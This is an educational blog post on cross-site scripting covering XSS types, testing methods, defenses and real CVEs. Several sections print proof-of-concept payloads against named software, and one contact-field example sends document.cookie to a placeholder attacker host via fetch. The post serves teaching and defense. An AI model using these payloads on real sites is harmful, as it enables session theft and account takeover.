November 20, 2026
XSS Explained: From a Simple alert(1) to Real-World Impact โCVEโS
1. What is XSS?

By Isv0x1
11 min read
1. What is XSS?
Cross-Site Scripting (XSS) is a vulnerability where an attacker makes a web application deliver attacker-controlled JavaScript to another user's browser. The browser can't tell the difference between your legitimate scripts and the injected one, so it runs both with the same privileges as the site itself.
The root cause is simple: untrusted data is mixed with code without proper encoding.
Why does it matter?
Because the injected script runs in the origin of the victim site, it can:
- Read and modify the page (DOM), including forms and displayed data
- Perform actions as the user (change email, transfer funds, post content)
- Access data that JavaScript can reach (e.g., non-
HttpOnlycookies,localStorage, tokens) - Show fake login prompts (phishing inside a trusted domain)
- Serve as a stepping stone to account takeover or chaining with other bugs
XSS consistently appears in the OWASP Top 10 family (under Injection) and is one of the most commonly reported bugs in bug bounty programs.
2. Beginner: The Core Concepts
2.1 Same-Origin Policy (SOP)
Browsers isolate sites by origin (scheme + host + port). A script on evil.com can't read bank.com. XSS bypasses this by running inside bank.com, which is why it's so dangerous.
2.2 Sources and Sinks
This mental model is the key to understanding XSS at every level:
- Source: where attacker-controlled data enters (URL parameter, form field,
location.hash,postMessage, cookies, API responses). - Sink: where that data is used in a dangerous way (
innerHTML,document.write,eval,setTimeout(string),href, etc.).
XSS = Source โ (no/insufficient sanitization) โ Sink
2.3 Context matters
The same input is dangerous or harmless depending on where it lands:
ContextExampleWhat breaks itHTML body<p>USER</p>Injecting a new tagHTML attribute<input value="USER">Closing the quote, adding an event handlerJavaScript stringvar x = 'USER';Closing the string, injecting codeURL<a href="USER">javascript: schemeCSSstyle="USER"Legacy/edge cases
3. The Three Classic Types
3.1 Reflected XSS
Reflected XSS occurs when an application receives malicious input through a request and immediately reflects it back in its response without proper validation, sanitization, or output encoding.
An attacker typically crafts a malicious URL and tricks a victim into opening it. If the vulnerable page reflects the injected payload into the HTML response, the browser may execute it within the context of the target website.
Unlike Stored XSS, the payload is not permanently saved on the server. It travels with the request and is reflected in the response.
Vulnerable pseudo-code:
php
echo "Search results for: " . $_GET['q'];echo "Search results for: " . $_GET['q'];A test input like <script>alert(document.domain)</script> shows whether the input is rendered as code. Using document.domain instead of 1 is a good habit: it proves which origin the code runs in, which matters for bug bounty reports.
๐ฎ Try it yourself: XSS Game โ Level 1 (Google's reflected-XSS challenge)
3.2 Stored (Persistent) XSS
In Stored XSS, the attacker injects a malicious payload that gets permanently stored on the server, typically in a database. When another user visits the affected page, the application retrieves and renders the stored content without proper sanitization or encoding, causing the injected script to execute in the victim's browser.
Unlike other XSS types, the attacker doesn't need to send a malicious link to every victim. The payload is already stored within the application and can affect anyone who accesses the vulnerable page.
The attack flow: Inject โ Store โ Render โ Execute.
๐ฎ Try it yourself =XSS game: Level 2
3.3 DOM-Based XSS
DOM-Based XSS occurs when client-side JavaScript processes attacker-controlled input and introduces it into an unsafe DOM operation, allowing malicious code to execute within the victim's browser.
In this case, the vulnerability exists in the client-side code rather than the server's response. Sources such as location.search, location.hash, or other user-controlled data may reach dangerous sinks like innerHTML, document.write(), or similar DOM manipulation methods.
The browser processes the malicious input locally, potentially executing the injected code without the payload ever being reflected directly by the server.
The attack flow: Source โ JavaScript Processing โ Unsafe Sink โ Execute.
The vulnerability lives entirely in client-side JavaScript. The server may never see the payload.
// Source: location.hash โ Sink: innerHTML
document.getElementById('welcome').innerHTML = location.hash.substring(1);// Source: location.hash โ Sink: innerHTML
document.getElementById('welcome').innerHTML = location.hash.substring(1);Because the payload can stay in the fragment (#...), it is often not logged by servers and not caught by server-side filters. Finding DOM XSS means reading JavaScript and tracing sources to sinks (DevTools, source review, or tools like DOM Invader in Burp Suite).
๐ฎ Try it yourself = XSS Game โ Level 6
4. Intermediate: Finding XSS Methodically
4.1 A practical testing workflow
- Map the inputs: parameters, headers, JSON fields, file names, uploaded SVG/HTML, WebSocket messages.
- Inject a unique harmless marker (e.g.,
xss7f3a) and find every place it's reflected. - Identify the context for each reflection (view source and inspect the live DOM; they can differ).
- Check what's encoded/filtered: try characters like < > " ' / ` and see which survive.
- Craft a context-appropriate proof of concept (
alert(document.domain)orprint(); newer browsers restrictalertin cross-origin iframes). - Assess impact realistically (cookies
HttpOnly? CSP present? Sensitive actions available?).
4.2 Context-specific breakouts (conceptual examples)
- HTML body: introduce a new element that executes script via an event, e.g.
<img src=x onerror=alert(1)>. - Attribute context: close the attribute and add a handler:
" autofocus onfocus=alert(1) x=". - JS string context: close the string and the statement:
';alert(1);//. href/srcsinks:javascript:alert(1)where schemes aren't validated.
4.3 Where people forget to look
- Markdown renderers, rich-text editors, and "preview" features
- SVG uploads (SVG can contain scripts)
- Error pages, 404 pages reflecting the path
- PDF/email generators and admin panels (blind XSS)
- Third-party widgets and old JS libraries (e.g., vulnerable jQuery or template engines)
5. Advanced Topics
5.1 Blind XSS
The payload is stored but fires in a different application you can't see, such as an admin dashboard, logging system, or support panel. Testers use a callback service (like XSS Hunter-style tooling or Burp Collaborator) that reports when and where the payload executed (URL, DOM snapshot, origin). Always stay within the program's scope and rules.
5.2 Mutation XSS (mXSS)
Browsers "fix" malformed HTML when parsing. Sanitizers parse the input once, declare it safe, but the browser re-parses and mutates it into something dangerous when inserted into the DOM. This has caused real bypasses in widely used sanitizers, which is why keeping libraries like DOMPurify updated matters.
5.3 Client-Side Template Injection (CSTI)
Frameworks like AngularJS (1.x) evaluate expressions in templates. If user input lands inside a template, expressions such as {{ ... }} can lead to script execution even if <script> tags are blocked. Modern React/Vue/Angular are safe by default, but their escape hatches (dangerouslySetInnerHTML, v-html, bypassSecurityTrustHtml) reintroduce risk.
5.4 Prototype pollution โ XSS (gadgets)
Polluting Object.prototype can influence library configuration so that a benign-looking sink gets attacker-controlled values. It's a chain: pollution + gadget = XSS.
5.5 postMessage and cross-window issues
If a page listens for messages without verifying event.origin and passes event.data into a sink, any site can trigger XSS.
javascript
window.addEventListener('message', e => {
// โ No origin check
document.getElementById('box').innerHTML = e.data;
});window.addEventListener('message', e => {
// โ No origin check
document.getElementById('box').innerHTML = e.data;
});5.6 Filter and WAF evasion: the right mindset
WAFs match patterns; they don't fix the underlying bug. Researchers study how parsers differ (case variations, alternative event handlers, encodings, HTML entities in attributes, unusual tags/attributes). The lesson for defenders: a WAF is a speed bump, not a fix. The real fix is output encoding and a strong CSP.
5.7 Bypassing CSP (what defenders should know)
A Content Security Policy can stop most XSS, but weak policies are bypassable:
unsafe-inlineorunsafe-evalallowed- Wildcards or whitelisted domains hosting user content / JSONP endpoints / old libraries
- Missing
base-uri(base tag injection) orobject-src - Dangling markup attacks that leak data without script execution
5.8 Impact beyond alert(1)
A mature report explains business impact: What data is reachable? Is the session cookie HttpOnly? Can the script perform state-changing actions (CSRF-protected endpoints can still be called from within the origin)? Is an admin affected? Is account takeover realistic? Triagers reward demonstrated impact, not just a popup.
6. Defense: How to Actually Fix It
6.1 The golden rule
Validate input, but encode output, in the correct context.
ContextCorrect defenseHTML bodyHTML-encode (< โ <)HTML attributeAttribute-encode + always quote attributesJavaScriptAvoid inserting data into scripts; use JSON.stringify + data attributesURLValidate scheme (allow only http/https), URL-encode parametersCSSAvoid user input in CSS
6.2 Safe DOM APIs
javascript
// โ Dangerous
el.innerHTML = userInput;
// โ
Safe
el.textContent = userInput;// โ Dangerous
el.innerHTML = userInput;
// โ
Safe
el.textContent = userInput;6.3 If you must allow HTML
Use a maintained sanitizer such as DOMPurify with a strict allowlist, and keep it updated. Never write your own regex-based sanitizer.
6.4 Content Security Policy (defense in depth)
A strong, modern policy uses nonces or hashes and avoids unsafe-inline:
Content-Security-Policy:
default-src 'self';
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';Content-Security-Policy:
default-src 'self';
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';6.5 Additional layers
HttpOnly,Secure, andSameSitecookie flags- Trusted Types (
require-trusted-types-for 'script') to eliminate DOM sinks misuse - Framework auto-escaping (don't disable it)
- Regular dependency updates and code review focused on sinks
- Correct
Content-TypeandX-Content-Type-Options: nosniff
7. CVE-2018โ9034
Vulnerability: Cross-Site Scripting (XSS) โ CWE-79
Affected software: Relevanssi WordPress plugin, versions โค 4.0.4
Location: lib/interface.php
https://nvd.nist.gov/vuln/detail/CVE-2018-9034
Description:
The Relevanssi WordPress plugin before version 4.0.4 is vulnerable to a reflected Cross-Site Scripting (XSS) flaw in lib/interface.php. The plugin's admin settings page reads the tab parameter directly from the URL's GET request and echoes it back into the page's HTML โ used to determine which settings tab is marked active โ without sanitizing or encoding it first. As a result, an authenticated user (the flaw requires low-privileged authentication, per its Au:S CVSS vector) can craft a URL containing arbitrary JavaScript or HTML in the tab parameter. When a victim with access to the WordPress admin panel opens that crafted link, the injected script executes in the context of the WordPress admin session.
Impact: Partial integrity impact (CVSS 5.4, medium) โ an attacker can execute arbitrary script in an admin's browser session, potentially performing actions on their behalf within the WordPress dashboard.
Payload
<script>alert(1)</script><script>alert(1)</script>Full exploit URL, placed in the vulnerable tab parameter:
http://[target]/wp-admin/admin.php?page=relevanssi/relevanssi.php&tab="><script>alert(1)</script>http://[target]/wp-admin/admin.php?page=relevanssi/relevanssi.php&tab="><script>alert(1)</script>Breaking it down:
- " โ closes whatever HTML attribute the
tabvalue is being echoed into (likely aclass="..."orvalue="..."on the tab link element) -
โ closes the enclosing tag
<script>alert(1)</script>โ the injected payload that executes in the page
2019 โ CVE-2019โ11358 (jQuery)
Vulnerability: Prototype Pollution leading to XSS
Affected software: jQuery < 3.4.0
Location: jQuery.extend()
https://nvd.nist.gov/vuln/detail/CVE-2019-11358
Description: jQuery's $.extend(true, {}, object) (deep merge) failed to check for __proto__ keys in the source object. An attacker who controls JSON that gets passed into $.extend can pollute Object.prototype globally, which many apps then turn into XSS or logic bypasses depending on what properties get polluted.
Payload:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));This is the base PoC from the advisory. The actual XSS depends on the host app reading a polluted property (e.g. a template engine's escapeHTML flag) and rendering unescaped output as a result.
2019 โ CVE-2019โ16728 (DOMPurify)
Vulnerability: Mutation XSS (mXSS) Affected software: DOMPurify < 2.0.1 (the sanitizer library itself, found by Masato Kinugawa) Location: SVG/MathML parsing in the sanitization step
https://nvd.nist.gov/vuln/detail/CVE-2019-16728
Description: Ironic one for an article โ this is a bug in a sanitizer. DOMPurify would sanitize a string, consider it safe, then the browser's own HTML parser would "mutate" the sanitized markup when re-parsing it (e.g. inside an <svg> or <math> context), reintroducing executable code that wasn't there at sanitize-time.
Payload (conceptual pattern used in mXSS research):
<svg><p><style><img src="</style><img src=x onerror=alert(1)//"><svg><p><style><img src="</style><img src=x onerror=alert(1)//">The sanitizer sees a harmless <style> block; the browser's parser, when re-serializing, breaks out of it.
2020 โ CVE-2020โ11022 / CVE-2020โ11023 (jQuery)
Vulnerability: XSS via jQuery.htmlPrefilter
Affected software: jQuery < 3.5.0
Location: .html(), .append(), and related DOM manipulation methods
https://nvd.nist.gov/vuln/detail/CVE-2020-11022
Description: Passing attacker-controlled HTML โ even after your own sanitization โ into .html() or .append() could still execute code, because jQuery's internal prefilter mishandled <option>/<style> tags before insertion. Widely affected: tons of enterprise products bundled an old jQuery copy (IBM QRadar, Red Hat AMQ, OTRS, etc. all shipped advisories for it).
Payload:
$("#container").html('<option><style><img src=x onerror=alert(1)></style>');$("#container").html('<option><style><img src=x onerror=alert(1)></style>');2022 โ CVE-2022โ24682 (Zimbra Collaboration Suite)
Vulnerability: Stored XSS, exploited as a zero-day in the wild ("Operation EmailThief", tracked by Volexity) Affected software: Zimbra 8.8.x < 8.8.15 patch 30 Location: Calendar feature
https://nvd.nist.gov/vuln/detail/CVE-2022-24682
Description: Zimbra's calendar rendering didn't properly encode attacker-controlled attributes inside a calendar invite. An attacker sent a crafted calendar invitation to a victim; opening/viewing it ran JavaScript in the victim's authenticated webmail session โ enough to steal session cookies and fully compromise the mailbox. This one is a good example for the article because it shows XSS escalating straight to account takeover, actively used against real targets before a patch existed.
Payload (conceptual, embedded in a calendar attribute):
LOCATION:"><img src=x onerror=alert(document.cookie)>LOCATION:"><img src=x onerror=alert(document.cookie)>2023 โ CVE-2023โ45206 (Zimbra Collaboration)
Vulnerability: Stored XSS Affected software: Zimbra 8.8.15 / 9.0 / 10.0 Location: Webmail "help document" endpoint
https://nvd.nist.gov/vuln/detail/CVE-2023-45206
Description: An attacker could inject JavaScript/HTML through the help-document endpoint in webmail, which other users would then trigger just by viewing that help content โ another stored XSS inside the same Zimbra product line, two years after the 2022 zero-day, showing how a single large codebase keeps producing the same bug class.
2024 โ CVE-2024โ45510 (Zimbra Collaboration)
Vulnerability: Stored XSS via Contacts Affected software: Zimbra ZCS โค 10.0 Location: Webmail Modern UI, Contacts module
https://nvd.nist.gov/vuln/detail/CVE-2024-45510
Description: If a victim added an attacker as a contact, a malicious field in that contact entry executed when the victim simply viewed their contact list โ no click on a link needed, just normal use of the mailbox. Impact included sending mail, exfiltrating the mailbox, and changing the profile picture, all as the victim.
Payload (in a contact field, e.g. company/title):
<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)><img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>2025 โ CVE-2025โ25427 (TP-Link WR841N)
Vulnerability: Stored XSS
Affected software: TP-Link WR841N router firmware
Location: upnp.htm page of the web admin interface
https://nvd.nist.gov/vuln/detail/CVE-2025-25427
Description: A good example of XSS outside the typical web-app/CMS space โ this is router firmware. A field on the UPnP configuration page isn't sanitized, so an attacker with access to the admin UI (or via CSRF tricking an authenticated admin) can store a payload that executes whenever anyone views that page, inside the router's own management session.
Payload:
<script>alert(document.cookie)</script><script>alert(document.cookie)</script>References โ OWASP XSS Prevention Cheat Sheet:
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
โ OWASP XSS Filter Evasion Cheat Sheet: https://owasp.org/www-community/xss-filter-evasion-cheatsheet
โ DOMPurify: https://github.com/cure53/DOMPurify โ Google XSS Game: https://xss-game.appspot.com/
Conclusion
XSS is more than a popup; it's about understanding how browsers interpret input, how vulnerabilities arise, and what attackers can achieve through them. The real skill isn't just finding a working payload, but understanding its context, impact, and the security implications behind it.
Follow me : www.linkedin.com/in/islam-salem-5a13a032b
ุงูููู ุงูุตุฑ ุงุฎูุงููุง ูู ุบุฒุฉ